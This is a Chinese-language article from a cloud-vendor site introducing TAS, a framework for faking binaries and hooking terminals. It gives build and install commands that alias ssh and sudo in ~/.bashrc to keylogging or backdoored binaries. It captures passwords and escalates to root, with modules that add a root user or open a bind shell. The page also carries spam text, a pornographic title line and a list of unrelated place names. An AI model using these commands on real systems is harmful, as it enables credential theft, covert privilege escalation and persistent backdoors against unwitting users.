中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

TAS中一款輕量級tty修改與代碼偽造框架的示例分析

發布時間:2021-11-19 17:19:42 來源:億速云 閱讀:129 作者:小新 欄目:網絡安全

這篇文章主要介紹TAS中一款輕量級tty修改與代碼偽造框架的示例分析,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

TAS是一款輕量級框架,在它的幫助下,研究人員可以輕松修改tty并創建偽造的代碼。

該框架擁有三個主要函數,即tas_execv、tas_forkpty和tas_tty_loop:

1、tas_execv:這個函數的作用跟execv類似,但是它并不會重新執行當前代碼,這對于創建偽造代碼來說非常有用;

2、tas_forkpty:這個函數跟forkpty一樣,不過它會自動填充自定義結構體,檢查forkpty操作頁并獲取詳細信息;

3、tas_tty_loop:這個函數負責對tty進行修改操作,我們可以針對輸入和輸出數據設置鉤子函數,這樣就可以獲取到用戶輸入的擊鍵數據或修改終端輸出結果(leet-shell)。

如果你需要深入了解TAS的工作機制,可以通過查看本項目的“tas/fakebins/fun”目錄以獲取更多信息。

偽造代碼

通過修改PATH環境變量,或使用Bash的Aliases(或其他支持Aliases的Shell),你就可以直接運行其他程序,而無需運行用戶真正要運行的那個程序。這樣一來,我們就可以捕捉到目標用戶的鍵盤擊鍵數據,并修改命令行來改變原始程序的行為。

修改某些程序的命令行,例如sudo和su,將會幫助我們在目標設備上實現提權。

為了方便大家理解和使用TAS,我專門創建了三個示例程序來演示該框架的功能,即sudo、su和generic-keylogger。

generic-keylogger

generic-keylogger,正如其名字所示,它可以被當作鍵盤記錄器來使用,而我們在這里主要利用它來獲取類似ssh和mysql這類程序的密碼。

sudo/su

當然了,它也可以被當作鍵盤記錄器來使用,或者你也能夠以root權限來運行某些功能模塊(通過修改命令行)。

Cmd修改步驟

首先,目標用戶輸入并運行下列命令:

sudo cmd

此時,實際運行的命令如下:

fakesudo cmd

其中,fakesudo將會執行下列命令:

sudo fakesudo cmd

以root權限運行上述命令之后,fakesudo將會創建一個子進程來執行其中的部分功能模塊,并且在進程的主PID中,它會運行原始命令。注意,如果用戶運行的命令是sudo cmd [args]的話,fakesudo才會修改命令,如果添加了額外的命令運行參數,那么命令將無法被修改。

如果使用的是su,那么情況跟sudo的差不多。

首先,目標用戶輸入并運行下列命令:

Su -

此時,實際運行的命令如下:

fakesu -

其中,fakesudo將會執行下列命令:

su - -c fakesu

以root權限運行上述命令之后,fakesu將會創建一個子進程來執行其中的部分功能模塊,并且在進程的主PID中,它會運行bash -i命令。

注意:只有當用戶運行su或su -時,fakesu才會修改命令,如果如果添加了額外的命令運行參數,那么命令將無法被修改。

功能模塊

目前,該工具只有下列三個功能模塊:

1、add-root-user:使用/etc/passwd中的密碼創建一個root用戶;

2、bind-shell:監聽傳入的連接,并生成一個tty shell;

3、system:以root權限執行命令;

項目下載

廣大研究人員可以使用下列命令將項目源碼克隆至本地:

git clone https://github.com/hc0d3r/tas.git

項目構建

首先,我們需要構建項目基庫:

$ make
  CC .obj/globals.o
  CC .obj/getinode.o
  CC .obj/tas-execv.o
  CC .obj/tty.o
  CC .obj/xreadlink.o
  AR .obj/libtas.a

接下來,我們還需要運行下列命令構建sudo、su和generic-keylogger:

make [target-bin]

構建樣例:

$ make su
make[1]: Entering directory '/home/test/tas/fakebins/su'[+] configuring fakesu ...enable keylogger? [y/N] y
number of lines to record [empty = store all]:
logfile (default: /tmp/.keys.txt):
use some FUN modules? [y/N] n
[+] configuration file created in /home/test/tas/fakebins/su/config.h
  CC su
make[1]: Leaving directory '/home/test/tas/fakebins/su'

工具使用樣例

創建一個fakessh

編譯:

$ make generic-keylogger
make[1]: Entering directory '/home/test/tas/fakebins/generic-keylogger'[+] configuring generic-keylogger ...
number of lines to record [empty = store all]: 3
logfile (default: /tmp/.keys.txt):
[+] configuration file created in /home/test/tas/fakebins/generic-keylogger/config.h
  CC generic-keylogger
make[1]: Leaving directory '/home/test/tas/fakebins/generic-keylogger'

安裝:

$ mkdir ~/.bin
$ cp generic-keylogger ~/.bin/ssh
$ echo "alias ssh='$HOME/.bin/ssh'" >> ~/.bashrc

演示:

使用bind-shell模塊

編譯:

make[1]: Entering directory '/home/test/tas/fakebins/sudo'[+] configuring fakesudo ...enable keylogger? [y/N] n
use some FUN modules? [y/N] y
[1] add-root-user
[2] bind-shell
[3] system
[4] cancel> 2
listen port (Default: 1337): 5992
[+] configuration file created in /home/test/tas/fakebins/sudo/config.h
  CC sudo
make[1]: Leaving directory '/home/test/tas/fakebins/sudo'

安裝:

$ cp sudo ~/.sudo
$ echo "alias sudo='$HOME/.sudo'" >> ~/.bashrc

演示:

TAS中一款輕量級tty修改與代碼偽造框架的示例分析

leet-shell

在leet-shell這個使用樣例中,你可以修改tty輸出,它將允許你使用bash(類似1337 h5x0r):

[test@alfheim tas]$ make fun/leet-shell
  CC fun/leet-shell
[t3st@alfheim tas]$ fun/leet-shell
SP4WN1NG L33T SH3LL H3R3 !!![t3st@4lfh41m t4s]$ 3ch0 'l33t sh4ll 1s l33t !!!'l33t sh4ll 1s l33t !!!

以上是“TAS中一款輕量級tty修改與代碼偽造框架的示例分析”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

tas
AI

兴文县| 屏东县| 绥阳县| 汶上县| 沅江市| 云梦县| 扬州市| 洞头县| 邯郸县| 高陵县| 蕉岭县| 灌云县| 卢湾区| 得荣县| 昆山市| 陇川县| 蛟河市| 石屏县| 徐汇区| 监利县| 普宁市| 贡觉县| 嵩明县| 吴旗县| 麻阳| 新巴尔虎左旗| 陆川县| 陆河县| 平度市| 长泰县| 芦溪县| 龙江县| 滕州市| 东丰县| 岐山县| 武胜县| 宜春市| 南投市| 子长县| 沙洋县| 天峻县|